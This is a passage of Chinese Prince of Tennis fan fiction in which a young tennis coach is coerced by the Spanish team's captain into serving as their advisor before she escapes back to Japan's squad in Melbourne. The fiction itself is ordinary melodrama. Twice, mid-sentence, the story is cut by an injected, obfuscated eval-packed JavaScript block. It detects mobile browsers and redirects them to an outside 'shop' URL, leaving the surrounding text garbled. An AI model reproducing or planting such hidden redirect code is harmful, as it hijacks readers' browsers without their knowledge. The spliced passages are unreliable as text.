也不奇怪,这群人看起来很擅长违法乱纪的样子,进了监狱......不对,有案底的人不能参赛的吧?这么说来难道是什么奇怪的play...... 少女的思绪越飘越远,她赶紧把线头揪了回来。 她放下二郎腿,换了个更加舒服的姿势靠在沙发扶手上,接着开口: “实不相瞒,我这次来除了观摩你们的日常训练,主要还是为了打服你们,省得你们对我有意见。” 武士南次郎的邀请,她既然应下了,就要做到最好。 “所以,我们要不就干脆一点,直接从队长开始,这样其他人或许就不用再比了。”少女笑眯眯地建议道,视线与梅达诺雷毒蛇般阴冷的目光相撞,她毫不畏惧地瞪了回去。 “......你是认真的?”弗里奥目瞪口呆,她知道自己在说什么吗。 “不然呢,梅达诺雷,你意下如何?” 梅达诺雷将翘起的二郎腿放下,嘴角勾起了一个阴鸷的笑容:“如果你准备好受死的话。” 七海再次按耐不住吐槽的冲动,这个人无论从外形,神态还是说的话上,看起来真的很像大反派,不如说西班牙队除了马尔斯和弗里奥看起来都很像大反派,根本不是她过去所熟知的西班牙网球啊! 并且,这群少年她刚才只是稍稍释放出精神力感受了一下,各个的气息都不容小觑。这下,连实力也符合反派的标准了。 鉴于梅达诺雷居然接受了七海的比赛要求,西班牙队众人便和七海一同上楼来到了一处室内网球场。 两道身影站在巴塞罗那皇家网球协会大楼的硬地网球场两端,一边是身着皇家队服的西班牙队队长梅达诺雷,一边是身着黑色网球裙的日本队教练。 从塞达的视角看,前者的霸者气场全开,后者看起来气息却十分内敛,似乎只是从马路上随处抓来的一位路人,但他却嗅到了一丝不寻常的气味。 七海早就感受到了梅达诺雷身周的危险气息,他就差没把我是终极反派BOSS几个字刻在脸上了。因而,第一局她便毫不犹豫地选择了解封。 少女的神情前所未有的严肃,她轻启唇:“解开吧,封印。接下来,是我的绝对主宰。”扯下发绳,瀑布般乌黑的长发骤然散开,柔顺地披散于胸前。 绝对主宰解封的刹那,磅礴的精神力扩散开来,将整个赛场笼罩。 场边的塞达浑身一僵,阴冷的双目瞪大,死死地盯着那位他早就感到不同寻常的日本队顾问,这个人的精神力,居然没有边界! 七海的精神力覆盖到梅达诺雷的霎时间,球拍失手滚落在地,她同样死死盯着对场的梅达诺雷,嘴巴微张,脸上的惊骇怎么也掩盖不住。 浑身的肌肉瞬间绷紧,一股凉意从脚底直冲天灵盖。 梅达诺雷,他的精神力居然......而他的能力居然是......! 不好,让她窥探到了这样骇人听闻的真相,恐怕她不会被放过...... 完全如七海所预料的一般,她甚至还没有开始和他打比赛,尖刀戳刺般的疼痛已从心脏一寸寸蔓延开来。 可恶,这次不知道要昏迷多久,世界杯在即,万一循环赛就碰上了西班牙,她得先让他警惕...... “比赛开始,梅达诺雷发球!” 七海不顾对场梅达诺雷不知为何同样停滞住的发球动作,强忍着疼痛冲到赛场边,胡乱抓起放在长椅上的手机拨通了打往关岛的电话。 还好她给他设置了紧急联系人的快捷键。 电话很快接通。 “平等院,”七海硬是咽下一口血沫,艰难地开口。 “小心......西班牙。”手机摔落在地上,少女口中的鲜血喷涌而出。 “呵,西班牙怎么了?......喂,二阶堂?......二阶堂!” 102.第 102 章 关岛时间深夜12点半,金发少年拿着手机神情冷厉。这一通电话太突然,二阶堂那个蠢货,到底怎么了? 屏幕另一头传来一阵混乱的交流声,平等院凤凰也曾去过西班牙踢馆,他从一堆混杂的西语中捕捉到了个别他能听懂的词和人名。 “梅达诺雷......怎么办.......” “......医院......特别......” “喂,二阶堂怎么样了!”平等院凤凰趁着电话还没挂断赶紧冲着手机大声追问,好在他还会说简单的西语。 电话那一头的声音安静了几秒,跟着是他无法听清的窸窸窣窣的讨论声,接着又恢复了寂静。 平等院凤凰正惊疑于那边发生的诡异动静,下一秒,他听到了一道无比清晰,仿佛恶魔般的低语: “平等院凤凰,她知道了不该知道的秘密,要么她死,要么她只能留在西班牙队。” 挂断电话,一丝阴冷的笑容在梅达诺雷的嘴角一闪而逝,他像抗麻袋一般直接捞起倒在地上浑身是血的少女扛在肩上,往皇家网球协会下属的医院走去。 —————— 七海第不知道多少次从床上醒来,坐在床上发了好一会儿呆,这才开始环顾四周。 她似乎是在一间过分奢华的医院病房里,如果不是自己身上的病号服和床头的监测仪器,她恐怕要以为这里是哪位皇室贵族的卧室。 分析完周遭的环境,七海仍旧有些懵懵懂懂地拿起床边的手机,解锁了屏幕。 最下方是99+的红点,点开来,她的短讯界面像是要炸了,数不清的留言和问候以及未接电话一条条跳出来,就连line的未读消息提示也新增了无数条。 发生了什么?她揉了揉眼睛,看向手机上的时间——1月2日,手机差点没从手里飞出去。 1月2日?!已经到新的一年了?! 她想起来了,圣诞节那天她坐飞机来了西班牙,和罗德里格打了一场比赛。赢了之后又和梅达诺雷打比赛,她解封了绝对主宰,窥探到了梅达诺雷的秘密,接着她受到了惩罚...... 她居然整整昏迷了一周! U17世界杯的开幕时间是1月4日,如果不在明天前赶到澳大利亚墨尔本,恐怕就要错过开幕式了! 顾不得回复手机里数不清的留言,七海急急忙忙下床,又愣在了床前。 她预订的酒店只有三天,那她的行李现在去哪儿了?她现在在哪儿她也不知道,身上的也不是自己的衣服。她该去哪儿? 她的大脑被过于繁琐的未尽之事打了个死结,完全不清楚接下来该怎么行事。少女正苦恼着,解结人来了。 “本来还以为没法把你带去墨尔本呢,还好你醒了,二阶堂教练。”循着声音望去,病房门口出现了一个人,是弗里奥。 他穿着西班牙队胸口绣着皇家协会徽章的蓝紫色华美制服,肩膀两侧的流苏随着动作微微摇晃,弗里奥倚着门框,笑容灿烂。 七海打算先把事情的来龙去脉搞清楚:“弗里奥......我昏迷之后发生了什么事?” 弗里奥却答非所问:“塞达说,他能感受到你的精神力没有边界。” 七海恍然张了张口,没想好该回什么又闭上了嘴。 西班牙队果然卧虎藏龙,她的秘密居然被那个金发小少年一眼看破。目前看来,这支队伍的实力毫无疑问比德国队还要可怕。 见少女沉默不语,弗里奥继续自己的独白:“总之,二阶堂教练,恭喜你,你已经拥有了加入西班牙队的资格。”无论是未能探清的可怕实力还是她的秘密,都和西班牙队的调性十分契合。 “......哦。”七海不冷不热地应了声,并没有多感恩戴德。什么叫拥有资格,难道还得让她谢谢他们,靠数日昏迷加呕血换来了被这群正邪难辨的少年认可,拉倒吧。 罢了,西班牙队的事先放在一边,眼下,她最着急的是世界杯快开始了。 七海径直走到少年面前,声音带上了一丝急切:“弗里奥,世界杯快开始了吧,你们什么时候出发?” “今天哦。”弗里奥俏皮道。 “你一开始说的那句话,意思是,可以把我带上是吗?” “你的行李和网球包我们都收好了。”说完这句话,弗里奥走进病房,打开了房间一角的衣柜,柜子里赫然摆放着她的网球包和行李箱。 原来,她的物品早被带出来放到了这里,也不知道他们是怎么知道自己下榻的酒店的。西班牙队,这群少年身上有太多谜团。 她跟着走过去追问:“我的飞机票呢?” 弗里奥低笑了一声,回身应道:“我们坐协会专属的私人飞机过去,不用买票。” 七海露出一个感激的笑:“我明白了,多谢你们愿意搭我一程去墨尔本,我这就收拾一下。” 弗里奥倚着柜门,默默凝望了一会儿她走到衣柜前整理物品的身影,声音转冷: “二阶堂教练,你该不会以为,到了墨尔本就能回到日本队吧?” 七海手上的动作顿住了,她侧身看向他,心跳变得急促,音调不自觉拔高:“你这话是什么意思?” 他们要干什么?不让她回日本队? “我也不是很清楚,不过,梅达诺雷说,你知道了他的秘密。” 弗里奥的神色逐渐幽深,他甚至还不知道梅达诺雷的秘密,眼前的这个少女居然知道了,他无法不讶异,甚至想过设法威逼利诱她说出答案。 但,如果他的行动被梅达诺雷发现,他承担不起这个风险。 弗里奥继续:“他只给你两个选择,要么留在西班牙队,要么,死。” 七海现在彻底明白了——西班牙队的人都有那个大病。她甚至不敢把死当做玩笑话,毕竟,那天那个狙击球的力道就不是个玩笑,如果打到她身上,不死也得断几根肋骨。 早知道当初越前南次郎让她二选一时,她就该选美国队的,自由自在不说,莱茵哈特作为队长性格也是阳光向上。相较之下,西班牙队也太阴森诡异了,确实是反派才会有的画风。 只是,现在懊恼也来不及了,姑且先跟着他们去墨尔本,到时候再借机归队吧。总不至于他们能把她监禁起来......呃,应该不至于吧? 回想起那位据说被监禁着的选手,七海脸上的表情阴晴不定,这次的欧洲之行出了太多意外。 片刻后,她下定决心,冷静地下了逐客令:“我明白了,我留在西班牙队。弗里奥,麻烦你在门口等一下我,我洗个澡换身衣服就出来。” 弗里奥走出病房,七海趁机溜进了卫生间,忙不迭地打开手机。 首先,先给这个人打电话吧。 “摩西摩......” “二阶堂,你现在在哪里?!”平等院不等她把话说完就截断了,刚接到这个电话时,看着手机上的来电提示,他还以为自己看岔了眼。 “我现在还在西班牙,你们呢?” “我们现在在关岛的机场,你到底发生了什么事?” 七海叹了口气:“现在一时半会儿说不清,反正我还好好活着。我今天会和西班牙队的人一起出发去墨尔本,应该能和你们前后脚到机场,我会看准时机和你们汇合的。” 电话另一头的平等院凤凰察觉出了一丝诡异,他回想起了她上一通电话那天,那句恶魔般的低语。 “二阶堂,看准时机是什么意思?”她该不会真的被人胁迫了吧。 “就是,我现在因为各种原因被迫只能跟着西班牙队。”她总不能告诉他,如果离开西班牙队就会有生命危险吧,听着也太像鬼扯了。 “没关系,我会想方设法归队的,你也和他们说一声,让他们不用担心我,我会平安地和你们汇合的。” “二阶堂......”平等院凤凰难得有说不出话来的时候,他沉默了片刻,想起另一件他在意的事。 “你之前说小心西班牙是什么意思?” “对了,说起这个,我有关于西班牙队很重要的情报要告诉......唔!”话刚说到一半,她的手机便被一把夺走,电话也被快速挂断,随即,她的下半张脸被身后突然伸过来的一张大手给死死地捂住。 她被按在他的胸前,七海惊慌失措地想把手掰开,却发现那手上施加的力道她根本掰不动。 电话另一头,平等院的面色愈发阴沉,周围一群少年人听到他在和她打电话,全部围了上来,等他转述她的消息。 可恶,又出了什么事?!西班牙队到底有什么秘密?他现在只能先告诉他们她还好好活着了。 “二阶堂教练,身为西班牙队的顾问,和日本队分享情报恐怕不太好吧?”头顶响起的这道阴恻的声音,是梅达诺雷!少女的紫瞳中闪过一丝恐慌。 “唔——”他的手一直不曾放开,她逐渐感到有些缺氧,呼吸困难,原本紧紧掰着他手臂的双手失去了力气,她的手垂落下去,意识似乎也慢慢开始弥散。 注意到她放弃了抵抗,梅达诺雷这才松开了手,七海仿佛在岸上搁浅了许久的鱼被放回了水中,扶着洗手池的边沿不住地喘着气,等到气顺了这才抬头怒视刚才站在她身后的梅达诺雷。 梅达诺雷苍白的唇瓣轻启,声音如冰窖般冰冷刺骨:“下次,别让我发现你暗中通敌,否则,我不介意和你的好朋友们打一场友谊赛。” 他把最后三个字念得又轻又慢,少女的身躯无法克制地轻颤了一下,他果然知道她知道了。 “二阶堂教练,你没事吧?”弗里奥站在门外高声询问,语气满是担忧,似乎完全没有自己是放梅达诺雷进来的罪魁祸首该有的自觉。 这群人,一丘之貉! 七海咬紧牙关,强压下心中的惶恐与愤恨,身处客场,以一敌多不现实,她只能先屈从了。 “对了,这是你的队服。”弗里奥不知从哪里变出来的同款西班牙队华丽制服,放在病床上。 七海讪笑:“我是顾问,就不用穿了吧。” 弗里奥只保持着之前的笑容盯着她,不答应也不拒绝。梅达诺雷还站在她面前居高临下地俯视着她...... “我知道了,我穿。”她咬了咬唇不甘道。“梅达诺雷,你出去,我要洗澡了。” 梅达诺雷嗤笑了一声,转头出了卫生间,又像是想起了什么,把一样东西抛回给她。 “你的手机,二阶堂教练。可别再让我发现你打什么不该打的电话。” —————————— 坐在飞往墨尔本的私人飞机上,七海穿着西班牙队的队服神情晦涩地缩在一角,丝毫没有参与其他少年们讨论的意思。况且,他们大多数时候说得都是西语,她本来也听不懂几句。 只不过令她有几分意外的是,原来西班牙队还有个代理教练,身形微胖,还是个地中海秃头。看他的架势完全是那个阴冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985706|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男的走狗,梅达诺雷说什么,他就怎么做,对她的出逃完全没有利用价值。 边博利见她一人阴郁地坐在飞机的一角,坐到她了对面与她搭话:“二阶堂教练,别闷闷不乐的呀,留在西班牙队不好吗?” “我是日本队的人。”她垂眸轻声道。 她可不是傻子,不留在主角队身边,跑去和反派阵营厮混,最后还不一定是什么下场呢。更何况,她不可能放得下他们,更不想成为他们的敌手。 “日本队那么弱,有什么好的呢?”边博利愈发不解了,排名23的弱国罢了。 七海的脑中闪过无数道身影,她再次轻声重复:“我是日本队的人。” “边博利,”七海抬起头,端详了对桌的少年片刻。 他脸上流露出的是无奈与同情,不是笑里藏刀也不是阴冷,这看起来或许是个好人。 她刻意压低了声音,“你是好人,你能帮我逃走吗?” “很抱歉,二阶堂教练,我还没有挑衅梅达诺雷的打算。” 边博利皱了皱眉,沉吟片刻后又答道:“不过,你或许可以试试和他交涉,只要开出让他满意的条件,他就会让你回去也不一定。” 七海眼前一亮,“谢谢你的建议,我会去和他交涉的。” 话音刚落,她便干脆地起身走到了梅达诺雷的沙发边,直言道:“梅达诺雷,我有话想和你聊聊。” 坐在对面的弗里奥识趣地让开了自己的座位,七海也不客气,一屁股坐了上去。 梅达诺雷一副懒得和她多废话的模样,她倒也不气馁,直接发问:“梅达诺雷,怎么样你才肯让我回到日本队,你开个条件吧。” 出乎七海的意料,他却问了一个与之完全无关的问题。 “你和越前南次郎什么关系?” 七海愣了愣,斟酌了几秒答道:“他对我有恩,他让我选择当他队伍的顾问,我当时就选了西班牙队。”她还是实话实说吧。 梅达诺雷神色不变,心下却闪过一丝诧异,没想到这个女人和越前南次郎的关系居然和他相仿。 “我保证不会把你的秘密透露给别人,梅达诺雷,求你了。”她哀求着,架在桌面上的双手逐渐交握收紧,有一下没一下的掐着虎口的肉。 她又急急忙忙补充:“对了,我们还没有签合同,我可以和你们签合同,保密协议,什么样都行。” “我听说,你和德国、瑞士还有法国都有联络。”梅达诺雷闲散地靠着椅背慢条斯理地开了个头。 没有人要的东西,他也没兴趣,人人抢着要的东西......只能捏在他的掌心里。 七海马上应答:“我可以保证优先西班牙。” 先过了这一关再说,以后到底怎么样她再打算吧,这个人没有一口回绝,那她就还有希望。 “你的精神力很有趣,塞达想邀请你参与他和罗密欧的实验。” 实验,听起来就挺不妙的,但现在,她一心一意只想先回到自己的队伍中。“可以,我会尽力配合,不过得在世界杯结束之后。”七海干脆道。 “你似乎不畏惧我的能力,我也对你很感兴趣。”梅达诺雷脸上浮现出一抹玩味之色。 “世界杯之后,我可以陪你打比赛,随便你探究。”她有自信不会被他察觉她的能力真相。 梅达诺雷伸手轻点了一下桌面:“那么,成交。” 七海反应了好几秒,这才意识到对面的人答应了她。“......谢谢。”她怎么有种自己被人卖了还帮他们数钱的感觉。 无论如何,压在心底的一块大石头落地,这下她总算是放松了不少,也有计划地和队里的其他人搭起话来。 除了梅达诺雷的秘密她现在确实不敢透露,其他人的底该探的还得探,尤其是那个今天没有上飞机还被监禁着的罗密欧?费尔南德斯,怎么想都不会是个简单人物。 一路聊着,中途浅眠了一小会儿,飞机终于降落在了墨尔本机场,跟着西班牙队的少年们走在出机场的廊道上,七海忙不迭地给平等院凤凰打了个电话。 “平等院,你们到墨尔本机场了吗?”私人飞机比他们快,但从西班牙飞的距离又更远,她现在也不确定到底谁先到。 “我们已经出关了,现在在到达大厅,二阶堂,你在哪里?” “我来找你们!” 挂断电话,她的心猛地加速跳动起来,她已然难以遏制内心的激动,他们在哪里?脚步不自觉加快了,只是她每想脱离西班牙的队伍,就被那道带有胁迫之意的阴冷眼神给阻挡。 走过一个转角,心随意转间,她看到了。 站在Arrival Gate标志的门框之下,声势浩大的一帮人。 他们穿着日本代表队的黑色西服,左胸前印着日本队的标志,每一个人看着都很好,帅气且挺拔,就连三船教练也穿上了同款西服,她都看习惯了他不修边幅的模样。 他们似乎没有注意到转角处的西班牙队,径直往外走去。 “大家,唔——!”她刚想冲过去,却被梅达诺雷再次捂住嘴压在胸前,拦在了半路。眼睁睁地看着他们即将走远,泪水在瞬息间毫不留情地淌下。 梅达诺雷感受到手上传来的湿意,皱了皱眉。 “二阶堂,不要忘了违背承诺的代价。” 大手放开的一瞬,七海像弹弓发射出的石子般飞速冲了出去。 “大家,我回来了!” 103.第 103 章 “大家,我回来了!” 这一道时隔一个多月过于熟悉的呼唤声,令所有日本队的少年都猛地停下了脚步,转过头来看向来人。 在片刻的僵立震惊与无言后,大厅爆发出了一阵高亢且繁杂的应和声,惹得路人纷纷驻足旁观。西班牙队的少年们对此毫无反应,也没有旁观的兴趣,直接从另一边离开。 “七海?!” “二阶堂?!” “公主殿下!” “呜呜呜,我好想你们......”七海跑到少年们的面前停住,站在原地抽抽搭搭地哭起来。 —————————— 前往U17世界杯选手村的大巴上。 为了守护世界的和平,为了防止修罗场的发生,七海直接从一开始就揪住了平等院凤凰的衣袖不放,直到上车,也自然而然地两个人坐在了一起。 平等院凤凰像是看透了她的心思,嗤笑一声后并未拒绝。 打量了身侧的少年两眼,她现在总算能毫无违和地称呼他为少年了——平等院凤凰信守承诺剃了胡子,看起来年轻帅气了许多,倒是与一头金发十分相称了。不过,凶戾霸道的气场也未曾弱下去。 七海暗自腹诽着,她可不想搞什么你到底要坐在谁身边的艰难选择。端不了的水,那就把碗砸了!反正平等院这种人满脑子都是日本队的世界冠军啦世界啦地狱啦,根本不可能喜欢上她,坐他边上正好。 之前一路上她都哭哭啼啼的,激动、委屈,情绪混杂着,也没怎么好好回应少年们的好奇,现在坐到了大巴上,情绪平复下来,她这才开始答疑解惑。 太多问题同时问出口,叽叽喳喳一片,七海满头黑线地听了半晌,忍不住怒喝道:“一个一个来!”车厢里霎时间一片寂静,身旁的少年几不可见地勾了勾嘴角。 “我先来!公主殿下,你为什么穿着这样的衣服?”发问的人显而易见是切原赤也。 其他人脑海中也浮现出了自家教练穿着那身浮夸的蓝紫色制服的模样,倒是不难看。 “嗯......这个是西班牙队的制服,我成为了西班牙队的顾问,他们硬要我穿的。” 为了能脱下这身制服,她几乎可以算是签了卖身契给西班牙队吧,恐怕无可避免地要受些折磨了。 在飞机上时,塞达看她的眼神不像是在看一个“人”,更像是在看什么新奇的物件,就像拿到了新玩具的孩子,迫不及待地想......拆解出内部的构造。 想到这里,七海心中又是一阵恶寒,那个少年绝非善类。 “西班牙队的顾问?!”这道声音来自两个人,丸井和切原,立海大的活泼担当正好坐一块儿了。 七海扶额长叹:“嗯......唉,接下来你们还会看到其他国家队的选手,我不如现在就告诉你们吧。我现在成了第一梯队,德国、瑞士、法国和西班牙这四个国家的顾问。” “诶?!”这下大巴里百分之九十的人都转过头来看向和平等院凤凰坐在最后一排的少女。 “那公主殿下你还算日本队的人吗?” “当然算了,我是你们的教练,那边只不过挂个顾问的名头罢了。无论你们以后去哪里......我都留在这里,我也依然会是你们的教练。”她本来是笑着应答的,想到了一些人一些事,声音又归于平静。 听到后半句,前排的迹部景吾神色微动,坐在他身边的仁王雅治瞟了他一眼。 说完这句话,她想起来了不对劲的地方。本来当其他国家队的顾问这事吧,她有点怕斋藤他们知道了不高兴,毕竟听起来有那么一咪咪像她叛变了似的。 可是斋藤他们去哪儿了? “对了,斋藤他们去哪儿了?” 三船入道:“他们早几天到了会场,要安排住宿分配。” “哦......对了,你们应该有给我准备日本队的制服吧。”七海可怜巴巴问道。 不二周助侧过头柔声应道:“七海,你的制服我帮你收着了,待会儿下了车就拿给你。”他不喜欢看她穿着其他国家队的制服,相信其他人也一样。 “谢谢周助,你最好了。”七海又有点眼泪汪汪,下了车她就要把这身西班牙队的制服扒掉!虽然很好看很华丽很符合本小姐的美学是没错,但身份上就不太相符了。 大石秀一郎第二个提问:“七海,你去德国队见到手冢了吧,他怎么样了?” 这本是个普普通通的问题,但在这个问题问出后,车上的气氛却好似凝滞了一瞬。 七海面色自若:“他挺好的,德国队的训练强度很大,他现在的实力非同小可,是需要我们重点关注的对手。” 或许是她的语气太过于平静了,仿佛她口中的那个人只是普通的一个敌队选手,而不是她曾经喜欢了许多年,追随了许多年的人,大石秀一郎呆呆地望着少女毫无波澜的侧脸。 “七海,你......” “怎么了?” “不,没事......”他是从一开始就旁观着这两个人相处的人,整整四年,这两个人之间到底有没有感情,他比谁都清楚,可是七海,你现在是彻底放下了吗。 “对了,越前去美国队了。” 不想沉浸在这样尴尬的氛围里,七海抛下了一颗炸弹以分散注意力。 “越前去美国队了?!”远山金太郎从座位上跳了起来,转过身扒着靠背难以置信地向七海确认。其余人脸上也难掩震惊之色。 大石秀一郎无法接受:“可是他被选进了日本代表队了呀!” “嗯。虽然我告诉他,他已经被选中成为日本队代表了,不过看他的样子应该是不会回来了。” “怎么这样......”小金瘪了瘪嘴更加难受了,白石藏之介尽职尽责地安抚着。 “这样也很好呀,小金,这样你们或许还有机会再成为对手,再打一次比赛。”七海浅笑着。 “大家到最后想打败的人,和国籍也没关系了,看到的不过是赛场上的对手,要做的不过是打败一个又一个人,往高峰攀登罢了。在哪里其实都无所谓了,热爱网球的心不变,终有一天会再相逢。小金,你其实很清楚的吧?”她冲他眨了眨眼。 “漂亮姐姐......那我会努力打败越前的!”远山金太郎的消沉很快消失不见,七海颇感欣慰。 小金,他虽然有时候很脱线,但从来不是一个天真幼稚的人呐,他其实什么都懂,但正是因为什么都懂却还能保持着一颗纯粹的赤子之心,才叫难得。 其他人沉默地旁听着,他们的这位天才教练,只过了短短一个月仿佛又成熟了许多,改变了许多。 “反正无论对手是谁,我相信大家都会全力以赴的。对了,我给大家带了欧洲四国的伴手礼,待会儿到了选手宿舍之后分给大家哦。”她虽然没有时间自己去玩,买点伴手礼的时间倒是空了出来。 在收获了一通感谢后,问答告一段落,注意力又转移到了路边的街景。 丸井文太和切原赤也闲聊着美食却被坐在前面的真田弦一郎训斥了一句,大巴驶过墨尔本的大道,离世界杯会场越来越近,似乎已经能够听到赛场里的人声鼎沸。 “Under17世界杯,能来到这里,就好像梦一样......” 少年们正激动兴奋着,平等院凤凰直截了当地打破了他们的幻想:”你们之后要见识的不是美梦,而是地狱。” “你们将在这里,认识到世界的可怕!” 一切讨论闲聊声戛然而止。七海默默地扫了一记眼刀给平等院——你可真是扫兴第一人啊。 平等院回了一记鄙夷的眼神——打破他们天真的幻想是有必要的。 被平等院这一通恐吓打断,巴士上再次陷入了寂静。 不知沉默了多久,七海直起身走到大巴头部面向所有人提起了正事:”大家,在到达会场之前,我有两个要求。” “正是因为我去第一梯队的队伍观摩了解过,所以才更明白这次出征的危险。平等院说的地狱并不是危言耸听,所以我的要求如下。” “第一,不允许以断送职业生涯为代价进行危及生命的比赛。” “第二,任何私下的比赛都要和我报备。” “我不想只拿一次第一,甚至都还拿不到第一就让你们全部折损在这里。如果有人不听,现在就退出日本代表队,听明白了吗?” 她的语气太过于严肃冷厉,少年们纷纷下意识应是。 “特别是这几个人,点名注意。平等院凤凰,亚久津仁,切原赤也,德川和也,还有,仁王雅治。”这一群人都不怎么让她省心。 被点名的少年们神色各异,此刻却无一人反驳。七海环视一圈,满意地勾了勾唇回到了位置上。 “二阶堂,挺威风啊。”平等院凤凰沉着声调侃。 “哪里哪里,不如你凶神恶煞。”七海笑眯眯地顶了回去,平等院又是那副似笑非笑的表情。 “七海,待会儿你一起去参加表演赛抽签仪式。”刚才一直沉默不语的三船入道突然出声了。 “嗨嗨,知道了。” —————————— “斋藤,你们是故意的吗?”七海此刻十分有把斋藤三人组削一顿的欲望。 下了大巴之后,众人先入住了选手宿舍。照理来说,她作为教练组的一员应该住在教练的房间楼层,可是斋藤却把她安排到了选手区域,这也就罢了,一左一右居然分别是那两个人的房间! 现在她周围的房间是如此排布的: 她的左边分别是幸村精市,真田弦一郎,仁王雅治等一溜立海大少年的房间,右边分别是迹部景吾,忍足侑士,白石藏之介等几个其他中学的正选。 对侧则是高中生正选们的房间,平等院凤凰与她斜对面,倒是方便她找他谈正事了。 斋藤至站在走廊挠了挠头,不好意思道:“呀,小七海,我们还以为你来不了了,所以就没有给你安排教练组的房间,现在只能委屈一下你住选手宿舍里了。正好越前君来不了,空出一个房间。” 七海臭着脸任由斋藤至无力地辩解,前面这些她都相信,可是安排到这样一个位置分明是故意的吧!唉......算了,至少不是再加上那一个人。 七海开始cosplay磕碜版圣诞老人。敲开每个人的大门,除了坐船过来不知道什么时候能到的种岛修二,和未被选入正选队伍的少年们的伴手礼还被她放在房间里,其他人的都拿出来分掉了。 稍微有按照他们的喜好挑选过,不过人太多了难免有重复。 中学生这边,幸村精市是她从法国买的雷诺阿的明信片; 迹部景吾是她在德国买到的小众品牌的玫瑰香氛; 不二周助和大石秀一郎是格里菲斯天文台在售的不同款星球画册; 丸井文太是法国买的一套经典法甜的徽章; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003509|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白石藏之介是英国买的干花干草包; 仁王雅治是在西班牙买的高迪的一套建筑冰箱贴; 柳莲二和柳生比吕士都是书......中学生她尽力做到了每个人都不一样。 高中生这边,平等院凤凰是在英国买的绿茶茶包; 入江奏多是萨克斯风造型的小戒指; 鬼十次郎是英国知名画家的儿童绘本; 种岛修二是耳塞,听说他坐船坐到一半还会心血来潮下水游一段,她十分担心他得中耳炎的风险日益攀升...... 教练组,黑部喜欢英国文学,她准备的是红茶茶叶和原文小说;三船想喝的酒她带不回来遂给他那个听说喜欢帅哥的孙女带了法国队那两个模特的海报...... 其他她满足不了的或者不甚清楚的,比如远野笃京说想要她的血这种奇怪的请求她就没法满足= = 全部是在德国买的生诞日小天使配上法国买的欧洲景点冰箱贴一套。 毕竟缺席了一个月,她早就为这群少年们从合宿工资和差旅费里划出了一笔钱准备伴手礼,就算做一点小小的补偿吧。 派送完伴手礼,她正预备着进屋换衣服,走廊尽头突然出现一道熟悉的呼喊声。 “七海。” 七海的脖子像是年久失修的机器一般一卡一卡地转过去,顿住了。 手冢国光穿着胸口印着德国队旗帜的黑色西服,西服勾勒出他挺拔修长的身形,衬得他冷肃中透着儒雅。高挺的鼻梁,漂亮的凤眸再配上金边眼镜带来的禁欲感,让她客观评价就是很帅,很适合他。 可是现在很明显不是客观评价的时候,更何况她现在已经知道了,这个人......他现在好像不打算禁欲了。 “国光......你怎么在这里?”七海愣愣地看着少年向她走来,不知为何有点发怵。不对啊,根据世界杯选手村入住指南,德国队不该是住在对面的大楼吗? “看到日本队住在这一栋,就过来看看。”他只是想过来看她一眼。 “七海,你的衣服......”二阶堂七海本人此刻还穿着西班牙队的制服。 “啊,我成了西班牙队的顾问,所以他们给了我这身制服,我待会就会换成日本队的制服了。”七海勉强笑了笑,她现在对西班牙队更加发憷。 手冢国光神色微动,”七海,辛苦了。” 她只轻轻摇了摇头,随即,她两边开着的门里走出来了那两个人。 “手冢,你这个德国队的人来这里干什么。”迹部景吾别着腿倚在门上,脸上写满了不爽。 “手冢,好久不见。” “啊,幸村,迹部,好久不见。”手冢国光扶了扶眼镜,用古井无波的语调陈述了一个事实:”她是德国队的顾问。” 七海惊了个呆。国光,你现在居然学会玩春秋笔法了......虽然她确实是签了顾问合同,但合同上的时间是从世界杯结束后开始的,所以准确来说,她还不是。 “那么,小七海,我就先走了。”斋藤至乐呵呵地欣赏了一会儿决定开溜,七海张了张嘴,最后还是颓丧着脑袋放过了他。 她没注意到的是,左右两侧另有几个人探出了脑袋,偷窥着这几人之间的交锋。 “Date......关于二阶堂和喜欢她的人的data......”乾贞治拿着七海送他的新笔马上记录起来。 “君岛大人,你有办法交涉一下让幸村部长和公主殿下在一起吗?”切原赤正对门是君岛育斗,切原赤也凑到站在门口围观君岛边小声嘀咕着,君岛微笑着扶了扶眼镜。 他们的天才教练可不是那么容易交涉成功的人呐。 “德国队有自己的教练不是吗,手冢,好像还没有到需要找顾问的时候呐。”幸村精市的唇角勾了起来,蓝紫色瞳孔中的笑意发冷。 七海突然嗅到了一股熟悉的危险气息,似乎是和......对了,似乎和海原祭在执事咖啡厅那天感受到的危险气息一致。 这么说来,那天她以为是真田释放出的危险信息素,其实是...... 迹部景吾这时倒和身旁的人站在了统一战线:”手冢,你还是回你的德国队去吧,啊恩?” 手冢国光干脆地选择了无视这两人,转而继续问道:“七海,表演赛抽签你去吗?” “嗯,我和大石、平等院一起去。”她下意识回答了。 “我是德国队代表,我在会场等你。”少年揉了揉她的头转身离去。 “......”七海沉默着转回头看向住在自己左右两边的两人,神色难辨。 “真想快点和德国队打比赛呢。”他笑。 “本大爷也正有此意。”他应。 “那你们加油!”她微笑鼓励。 “七海希望我们赢吗?”幸村精市继续笑问。 七海不假思索:“当然希望你们赢了。” 幸村精市笑弯了眉:“那就是希望手冢输了,我明白了。” 迹部景吾傲然道:“本大爷已经迫不及待想和他一战了,啊恩?” “二阶堂,你在外面吵什么?”平等院凤凰推开了门,面色不善地瞪着两个少年。 